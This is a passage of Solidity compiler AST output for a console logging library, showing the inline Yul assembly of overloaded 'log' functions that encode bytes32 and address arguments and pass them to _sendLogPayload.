YulFunctionCall","src":"373045:16:22"},"nativeSrc":"373045:16:22","nodeType":"YulExpressionStatement","src":"373045:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"373081:4:22","nodeType":"YulLiteral","src":"373081:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"373087:2:22","nodeType":"YulIdentifier","src":"373087:2:22"}],"functionName":{"name":"mstore","nativeSrc":"373074:6:22","nodeType":"YulIdentifier","src":"373074:6:22"},"nativeSrc":"373074:16:22","nodeType":"YulFunctionCall","src":"373074:16:22"},"nativeSrc":"373074:16:22","nodeType":"YulExpressionStatement","src":"373074:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"373110:4:22","nodeType":"YulLiteral","src":"373110:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"373116:2:22","nodeType":"YulIdentifier","src":"373116:2:22"}],"functionName":{"name":"mstore","nativeSrc":"373103:6:22","nodeType":"YulIdentifier","src":"373103:6:22"},"nativeSrc":"373103:16:22","nodeType":"YulFunctionCall","src":"373103:16:22"},"nativeSrc":"373103:16:22","nodeType":"YulExpressionStatement","src":"373103:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"373139:4:22","nodeType":"YulLiteral","src":"373139:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"373145:2:22","nodeType":"YulIdentifier","src":"373145:2:22"}],"functionName":{"name":"mstore","nativeSrc":"373132:6:22","nodeType":"YulIdentifier","src":"373132:6:22"},"nativeSrc":"373132:16:22","nodeType":"YulFunctionCall","src":"373132:16:22"},"nativeSrc":"373132:16:22","nodeType":"YulExpressionStatement","src":"373132:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"373168:5:22","nodeType":"YulLiteral","src":"373168:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"373175:2:22","nodeType":"YulIdentifier","src":"373175:2:22"}],"functionName":{"name":"mstore","nativeSrc":"373161:6:22","nodeType":"YulIdentifier","src":"373161:6:22"},"nativeSrc":"373161:17:22","nodeType":"YulFunctionCall","src":"373161:17:22"},"nativeSrc":"373161:17:22","nodeType":"YulExpressionStatement","src":"373161:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45814,"isOffset":false,"isSlot":false,"src":"372942:2:22","valueSize":1},{"declaration":45817,"isOffset":false,"isSlot":false,"src":"372971:2:22","valueSize":1},{"declaration":45820,"isOffset":false,"isSlot":false,"src":"373000:2:22","valueSize":1},{"declaration":45823,"isOffset":false,"isSlot":false,"src":"373029:2:22","valueSize":1},{"declaration":45826,"isOffset":false,"isSlot":false,"src":"373058:2:22","valueSize":1},{"declaration":45829,"isOffset":false,"isSlot":false,"src":"373087:2:22","valueSize":1},{"declaration":45832,"isOffset":false,"isSlot":false,"src":"373116:2:22","valueSize":1},{"declaration":45835,"isOffset":false,"isSlot":false,"src":"373145:2:22","valueSize":1},{"declaration":45838,"isOffset":false,"isSlot":false,"src":"373175:2:22","valueSize":1}],"id":45846,"nodeType":"InlineAssembly","src":"372906:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"371667:3:22","parameters":{"id":45811,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45804,"mutability":"mutable","name":"p0","nameLocation":"371679:2:22","nodeType":"VariableDeclaration","scope":45848,"src":"371671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45803,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371671:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45806,"mutability":"mutable","name":"p1","nameLocation":"371691:2:22","nodeType":"VariableDeclaration","scope":45848,"src":"371683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45805,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371683:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45808,"mutability":"mutable","name":"p2","nameLocation":"371703:2:22","nodeType":"VariableDeclaration","scope":45848,"src":"371695:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45807,"name":"address","nodeType":"ElementaryTypeName","src":"371695:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45810,"mutability":"mutable","name":"p3","nameLocation":"371715:2:22","nodeType":"VariableDeclaration","scope":45848,"src":"371707:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45809,"name":"address","nodeType":"ElementaryTypeName","src":"371707:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"371670:48:22"},"returnParameters":{"id":45812,"nodeType":"ParameterList","parameters":[],"src":"371733:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45894,"nodeType":"FunctionDefinition","src":"373200:1530:22","nodes":[],"body":{"id":45893,"nodeType":"Block","src":"373272:1458:22","nodes":[],"statements":[{"assignments":[45860],"declarations":[{"constant":false,"id":45860,"mutability":"mutable","name":"m0","nameLocation":"373290:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373282:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45859,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373282:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45861,"nodeType":"VariableDeclarationStatement","src":"373282:10:22"},{"assignments":[45863],"declarations":[{"constant":false,"id":45863,"mutability":"mutable","name":"m1","nameLocation":"373310:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373302:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45862,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373302:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45864,"nodeType":"VariableDeclarationStatement","src":"373302:10:22"},{"assignments":[45866],"declarations":[{"constant":false,"id":45866,"mutability":"mutable","name":"m2","nameLocation":"373330:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373322:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45865,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373322:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45867,"nodeType":"VariableDeclarationStatement","src":"373322:10:22"},{"assignments":[45869],"declarations":[{"constant":false,"id":45869,"mutability":"mutable","name":"m3","nameLocation":"373350:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373342:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45868,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373342:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45870,"nodeType":"VariableDeclarationStatement","src":"373342:10:22"},{"assignments":[45872],"declarations":[{"constant":false,"id":45872,"mutability":"mutable","name":"m4","nameLocation":"373370:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373362:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45871,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373362:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45873,"nodeType":"VariableDeclarationStatement","src":"373362:10:22"},{"assignments":[45875],"declarations":[{"constant":false,"id":45875,"mutability":"mutable","name":"m5","nameLocation":"373390:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373382:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45874,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373382:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45876,"nodeType":"VariableDeclarationStatement","src":"373382:10:22"},{"assignments":[45878],"declarations":[{"constant":false,"id":45878,"mutability":"mutable","name":"m6","nameLocation":"373410:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373402:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45877,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373402:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45879,"nodeType":"VariableDeclarationStatement","src":"373402:10:22"},{"assignments":[45881],"declarations":[{"constant":false,"id":45881,"mutability":"mutable","name":"m7","nameLocation":"373430:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373422:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45880,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373422:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45882,"nodeType":"VariableDeclarationStatement","src":"373422:10:22"},{"assignments":[45884],"declarations":[{"constant":false,"id":45884,"mutability":"mutable","name":"m8","nameLocation":"373450:2:22","nodeType":"VariableDeclaration","scope":45893,"src":"373442:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45883,"name":"bytes32","nodeType":"ElementaryTypeName","src":"373442:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45885,"nodeType":"VariableDeclarationStatement","src":"373442:10:22"},{"AST":{"nativeSrc":"373471:924:22","nodeType":"YulBlock","src":"373471:924:22","statements":[{"body":{"nativeSrc":"373514:313:22","nodeType":"YulBlock","src":"373514:313:22","statements":[{"nativeSrc":"373532:15:22","nodeType":"YulVariableDeclaration","src":"373532:15:22","value":{"kind":"number","nativeSrc":"373546:1:22","nodeType":"YulLiteral","src":"373546:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"373536:6:22","nodeType":"YulTypedName","src":"373536:6:22","type":""}]},{"body":{"nativeSrc":"373617:40:22","nodeType":"YulBlock","src":"373617:40:22","statements":[{"body":{"nativeSrc":"373646:9:22","nodeType":"YulBlock","src":"373646:9:22","statements":[{"nativeSrc":"373648:5:22","nodeType":"YulBreak","src":"373648:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"373634:6:22","nodeType":"YulIdentifier","src":"373634:6:22"},{"name":"w","nativeSrc":"373642:1:22","nodeType":"YulIdentifier","src":"373642:1:22"}],"functionName":{"name":"byte","nativeSrc":"373629:4:22","nodeType":"YulIdentifier","src":"373629:4:22"},"nativeSrc":"373629:15:22","nodeType":"YulFunctionCall","src":"373629:15:22"}],"functionName":{"name":"iszero","nativeSrc":"373622:6:22","nodeType":"YulIdentifier","src":"373622:6:22"},"nativeSrc":"373622:23:22","nodeType":"YulFunctionCall","src":"373622:23:22"},"nativeSrc":"373619:36:22","nodeType":"YulIf","src":"373619:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"373574:6:22","nodeType":"YulIdentifier","src":"373574:6:22"},{"kind":"number","nativeSrc":"373582:4:22","nodeType":"YulLiteral","src":"373582:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"373571:2:22","nodeType":"YulIdentifier","src":"373571:2:22"},"nativeSrc":"373571:16:22","nodeType":"YulFunctionCall","src":"373571:16:22"},"nativeSrc":"373564:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"373588:28:22","nodeType":"YulBlock","src":"373588:28:22","statements":[{"nativeSrc":"373590:24:22","nodeType":"YulAssignment","src":"373590:24:22","value":{"arguments":[{"name":"length","nativeSrc":"373604:6:22","nodeType":"YulIdentifier","src":"373604:6:22"},{"kind":"number","nativeSrc":"373612:1:22","nodeType":"YulLiteral","src":"373612:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"373600:3:22","nodeType":"YulIdentifier","src":"373600:3:22"},"nativeSrc":"373600:14:22","nodeType":"YulFunctionCall","src":"373600:14:22"},"variableNames":[{"name":"length","nativeSrc":"373590:6:22","nodeType":"YulIdentifier","src":"373590:6:22"}]}]},"pre":{"nativeSrc":"373568:2:22","nodeType":"YulBlock","src":"373568:2:22","statements":[]},"src":"373564:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"373681:3:22","nodeType":"YulIdentifier","src":"373681:3:22"},{"name":"length","nativeSrc":"373686:6:22","nodeType":"YulIdentifier","src":"373686:6:22"}],"functionName":{"name":"mstore","nativeSrc":"373674:6:22","nodeType":"YulIdentifier","src":"373674:6:22"},"nativeSrc":"373674:19:22","nodeType":"YulFunctionCall","src":"373674:19:22"},"nativeSrc":"373674:19:22","nodeType":"YulExpressionStatement","src":"373674:19:22"},{"nativeSrc":"373710:37:22","nodeType":"YulVariableDeclaration","src":"373710:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"373727:3:22","nodeType":"YulLiteral","src":"373727:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"373736:1:22","nodeType":"YulLiteral","src":"373736:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"373739:6:22","nodeType":"YulIdentifier","src":"373739:6:22"}],"functionName":{"name":"shl","nativeSrc":"373732:3:22","nodeType":"YulIdentifier","src":"373732:3:22"},"nativeSrc":"373732:14:22","nodeType":"YulFunctionCall","src":"373732:14:22"}],"functionName":{"name":"sub","nativeSrc":"373723:3:22","nodeType":"YulIdentifier","src":"373723:3:22"},"nativeSrc":"373723:24:22","nodeType":"YulFunctionCall","src":"373723:24:22"},"variables":[{"name":"shift","nativeSrc":"373714:5:22","nodeType":"YulTypedName","src":"373714:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"373775:3:22","nodeType":"YulIdentifier","src":"373775:3:22"},{"kind":"number","nativeSrc":"373780:4:22","nodeType":"YulLiteral","src":"373780:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"373771:3:22","nodeType":"YulIdentifier","src":"373771:3:22"},"nativeSrc":"373771:14:22","nodeType":"YulFunctionCall","src":"373771:14:22"},{"arguments":[{"name":"shift","nativeSrc":"373791:5:22","nodeType":"YulIdentifier","src":"373791:5:22"},{"arguments":[{"name":"shift","nativeSrc":"373802:5:22","nodeType":"YulIdentifier","src":"373802:5:22"},{"name":"w","nativeSrc":"373809:1:22","nodeType":"YulIdentifier","src":"373809:1:22"}],"functionName":{"name":"shr","nativeSrc":"373798:3:22","nodeType":"YulIdentifier","src":"373798:3:22"},"nativeSrc":"373798:13:22","nodeType":"YulFunctionCall","src":"373798:13:22"}],"functionName":{"name":"shl","nativeSrc":"373787:3:22","nodeType":"YulIdentifier","src":"373787:3:22"},"nativeSrc":"373787:25:22","nodeType":"YulFunctionCall","src":"373787:25:22"}],"functionName":{"name":"mstore","nativeSrc":"373764:6:22","nodeType":"YulIdentifier","src":"373764:6:22"},"nativeSrc":"373764:49:22","nodeType":"YulFunctionCall","src":"373764:49:22"},"nativeSrc":"373764:49:22","nodeType":"YulExpressionStatement","src":"373764:49:22"}]},"name":"writeString","nativeSrc":"373485:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"373506:3:22","nodeType":"YulTypedName","src":"373506:3:22","type":""},{"name":"w","nativeSrc":"373511:1:22","nodeType":"YulTypedName","src":"373511:1:22","type":""}],"src":"373485:342:22"},{"nativeSrc":"373840:17:22","nodeType":"YulAssignment","src":"373840:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"373852:4:22","nodeType":"YulLiteral","src":"373852:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"373846:5:22","nodeType":"YulIdentifier","src":"373846:5:22"},"nativeSrc":"373846:11:22","nodeType":"YulFunctionCall","src":"373846:11:22"},"variableNames":[{"name":"m0","nativeSrc":"373840:2:22","nodeType":"YulIdentifier","src":"373840:2:22"}]},{"nativeSrc":"373870:17:22","nodeType":"YulAssignment","src":"373870:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"373882:4:22","nodeType":"YulLiteral","src":"373882:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"373876:5:22","nodeType":"YulIdentifier","src":"373876:5:22"},"nativeSrc":"373876:11:22","nodeType":"YulFunctionCall","src":"373876:11:22"},"variableNames":[{"name":"m1","nativeSrc":"373870:2:22","nodeType":"YulIdentifier","src":"373870:2:22"}]},{"nativeSrc":"373900:17:22","nodeType":"YulAssignment","src":"373900:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"373912:4:22","nodeType":"YulLiteral","src":"373912:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"373906:5:22","nodeType":"YulIdentifier","src":"373906:5:22"},"nativeSrc":"373906:11:22","nodeType":"YulFunctionCall","src":"373906:11:22"},"variableNames":[{"name":"m2","nativeSrc":"373900:2:22","nodeType":"YulIdentifier","src":"373900:2:22"}]},{"nativeSrc":"373930:17:22","nodeType":"YulAssignment","src":"373930:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"373942:4:22","nodeType":"YulLiteral","src":"373942:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"373936:5:22","nodeType":"YulIdentifier","src":"373936:5:22"},"nativeSrc":"373936:11:22","nodeType":"YulFunctionCall","src":"373936:11:22"},"variableNames":[{"name":"m3","nativeSrc":"373930:2:22","nodeType":"YulIdentifier","src":"373930:2:22"}]},{"nativeSrc":"373960:17:22","nodeType":"YulAssignment","src":"373960:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"373972:4:22","nodeType":"YulLiteral","src":"373972:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"373966:5:22","nodeType":"YulIdentifier","src":"373966:5:22"},"nativeSrc":"373966:11:22","nodeType":"YulFunctionCall","src":"373966:11:22"},"variableNames":[{"name":"m4","nativeSrc":"373960:2:22","nodeType":"YulIdentifier","src":"373960:2:22"}]},{"nativeSrc":"373990:17:22","nodeType":"YulAssignment","src":"373990:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"374002:4:22","nodeType":"YulLiteral","src":"374002:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"373996:5:22","nodeType":"YulIdentifier","src":"373996:5:22"},"nativeSrc":"373996:11:22","nodeType":"YulFunctionCall","src":"373996:11:22"},"variableNames":[{"name":"m5","nativeSrc":"373990:2:22","nodeType":"YulIdentifier","src":"373990:2:22"}]},{"nativeSrc":"374020:17:22","nodeType":"YulAssignment","src":"374020:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"374032:4:22","nodeType":"YulLiteral","src":"374032:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"374026:5:22","nodeType":"YulIdentifier","src":"374026:5:22"},"nativeSrc":"374026:11:22","nodeType":"YulFunctionCall","src":"374026:11:22"},"variableNames":[{"name":"m6","nativeSrc":"374020:2:22","nodeType":"YulIdentifier","src":"374020:2:22"}]},{"nativeSrc":"374050:17:22","nodeType":"YulAssignment","src":"374050:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"374062:4:22","nodeType":"YulLiteral","src":"374062:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"374056:5:22","nodeType":"YulIdentifier","src":"374056:5:22"},"nativeSrc":"374056:11:22","nodeType":"YulFunctionCall","src":"374056:11:22"},"variableNames":[{"name":"m7","nativeSrc":"374050:2:22","nodeType":"YulIdentifier","src":"374050:2:22"}]},{"nativeSrc":"374080:18:22","nodeType":"YulAssignment","src":"374080:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"374092:5:22","nodeType":"YulLiteral","src":"374092:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"374086:5:22","nodeType":"YulIdentifier","src":"374086:5:22"},"nativeSrc":"374086:12:22","nodeType":"YulFunctionCall","src":"374086:12:22"},"variableNames":[{"name":"m8","nativeSrc":"374080:2:22","nodeType":"YulIdentifier","src":"374080:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374180:4:22","nodeType":"YulLiteral","src":"374180:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"374186:10:22","nodeType":"YulLiteral","src":"374186:10:22","type":"","value":"0x5ccd4e37"}],"functionName":{"name":"mstore","nativeSrc":"374173:6:22","nodeType":"YulIdentifier","src":"374173:6:22"},"nativeSrc":"374173:24:22","nodeType":"YulFunctionCall","src":"374173:24:22"},"nativeSrc":"374173:24:22","nodeType":"YulExpressionStatement","src":"374173:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374217:4:22","nodeType":"YulLiteral","src":"374217:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"374223:4:22","nodeType":"YulLiteral","src":"374223:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"374210:6:22","nodeType":"YulIdentifier","src":"374210:6:22"},"nativeSrc":"374210:18:22","nodeType":"YulFunctionCall","src":"374210:18:22"},"nativeSrc":"374210:18:22","nodeType":"YulExpressionStatement","src":"374210:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374248:4:22","nodeType":"YulLiteral","src":"374248:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"374254:4:22","nodeType":"YulLiteral","src":"374254:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"374241:6:22","nodeType":"YulIdentifier","src":"374241:6:22"},"nativeSrc":"374241:18:22","nodeType":"YulFunctionCall","src":"374241:18:22"},"nativeSrc":"374241:18:22","nodeType":"YulExpressionStatement","src":"374241:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374279:4:22","nodeType":"YulLiteral","src":"374279:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"374285:2:22","nodeType":"YulIdentifier","src":"374285:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374272:6:22","nodeType":"YulIdentifier","src":"374272:6:22"},"nativeSrc":"374272:16:22","nodeType":"YulFunctionCall","src":"374272:16:22"},"nativeSrc":"374272:16:22","nodeType":"YulExpressionStatement","src":"374272:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374308:4:22","nodeType":"YulLiteral","src":"374308:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"374314:2:22","nodeType":"YulIdentifier","src":"374314:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374301:6:22","nodeType":"YulIdentifier","src":"374301:6:22"},"nativeSrc":"374301:16:22","nodeType":"YulFunctionCall","src":"374301:16:22"},"nativeSrc":"374301:16:22","nodeType":"YulExpressionStatement","src":"374301:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374342:4:22","nodeType":"YulLiteral","src":"374342:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"374348:2:22","nodeType":"YulIdentifier","src":"374348:2:22"}],"functionName":{"name":"writeString","nativeSrc":"374330:11:22","nodeType":"YulIdentifier","src":"374330:11:22"},"nativeSrc":"374330:21:22","nodeType":"YulFunctionCall","src":"374330:21:22"},"nativeSrc":"374330:21:22","nodeType":"YulExpressionStatement","src":"374330:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374376:4:22","nodeType":"YulLiteral","src":"374376:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"374382:2:22","nodeType":"YulIdentifier","src":"374382:2:22"}],"functionName":{"name":"writeString","nativeSrc":"374364:11:22","nodeType":"YulIdentifier","src":"374364:11:22"},"nativeSrc":"374364:21:22","nodeType":"YulFunctionCall","src":"374364:21:22"},"nativeSrc":"374364:21:22","nodeType":"YulExpressionStatement","src":"374364:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45860,"isOffset":false,"isSlot":false,"src":"373840:2:22","valueSize":1},{"declaration":45863,"isOffset":false,"isSlot":false,"src":"373870:2:22","valueSize":1},{"declaration":45866,"isOffset":false,"isSlot":false,"src":"373900:2:22","valueSize":1},{"declaration":45869,"isOffset":false,"isSlot":false,"src":"373930:2:22","valueSize":1},{"declaration":45872,"isOffset":false,"isSlot":false,"src":"373960:2:22","valueSize":1},{"declaration":45875,"isOffset":false,"isSlot":false,"src":"373990:2:22","valueSize":1},{"declaration":45878,"isOffset":false,"isSlot":false,"src":"374020:2:22","valueSize":1},{"declaration":45881,"isOffset":false,"isSlot":false,"src":"374050:2:22","valueSize":1},{"declaration":45884,"isOffset":false,"isSlot":false,"src":"374080:2:22","valueSize":1},{"declaration":45850,"isOffset":false,"isSlot":false,"src":"374348:2:22","valueSize":1},{"declaration":45852,"isOffset":false,"isSlot":false,"src":"374382:2:22","valueSize":1},{"declaration":45854,"isOffset":false,"isSlot":false,"src":"374285:2:22","valueSize":1},{"declaration":45856,"isOffset":false,"isSlot":false,"src":"374314:2:22","valueSize":1}],"id":45886,"nodeType":"InlineAssembly","src":"373462:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45888,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"374420:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45889,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"374426:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45887,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"374404:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"374404:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45891,"nodeType":"ExpressionStatement","src":"374404:28:22"},{"AST":{"nativeSrc":"374451:273:22","nodeType":"YulBlock","src":"374451:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"374472:4:22","nodeType":"YulLiteral","src":"374472:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"374478:2:22","nodeType":"YulIdentifier","src":"374478:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374465:6:22","nodeType":"YulIdentifier","src":"374465:6:22"},"nativeSrc":"374465:16:22","nodeType":"YulFunctionCall","src":"374465:16:22"},"nativeSrc":"374465:16:22","nodeType":"YulExpressionStatement","src":"374465:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374501:4:22","nodeType":"YulLiteral","src":"374501:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"374507:2:22","nodeType":"YulIdentifier","src":"374507:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374494:6:22","nodeType":"YulIdentifier","src":"374494:6:22"},"nativeSrc":"374494:16:22","nodeType":"YulFunctionCall","src":"374494:16:22"},"nativeSrc":"374494:16:22","nodeType":"YulExpressionStatement","src":"374494:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374530:4:22","nodeType":"YulLiteral","src":"374530:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"374536:2:22","nodeType":"YulIdentifier","src":"374536:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374523:6:22","nodeType":"YulIdentifier","src":"374523:6:22"},"nativeSrc":"374523:16:22","nodeType":"YulFunctionCall","src":"374523:16:22"},"nativeSrc":"374523:16:22","nodeType":"YulExpressionStatement","src":"374523:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374559:4:22","nodeType":"YulLiteral","src":"374559:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"374565:2:22","nodeType":"YulIdentifier","src":"374565:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374552:6:22","nodeType":"YulIdentifier","src":"374552:6:22"},"nativeSrc":"374552:16:22","nodeType":"YulFunctionCall","src":"374552:16:22"},"nativeSrc":"374552:16:22","nodeType":"YulExpressionStatement","src":"374552:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374588:4:22","nodeType":"YulLiteral","src":"374588:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"374594:2:22","nodeType":"YulIdentifier","src":"374594:2:22"}],"functionName":{"name":"mstore","nativeSrc":"374581:6:22","nodeType":"YulIdentifier","src":"374581:6:22"},"nativeSrc":"374581:16:22","nodeType":"YulFunctionCall","src":"374581:16:22"},"nativeSrc":"374581:16:22","nodeType":"YulExpressionStatement","src":"374581:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"374617:4:22","nodeType":"YulLiteral","s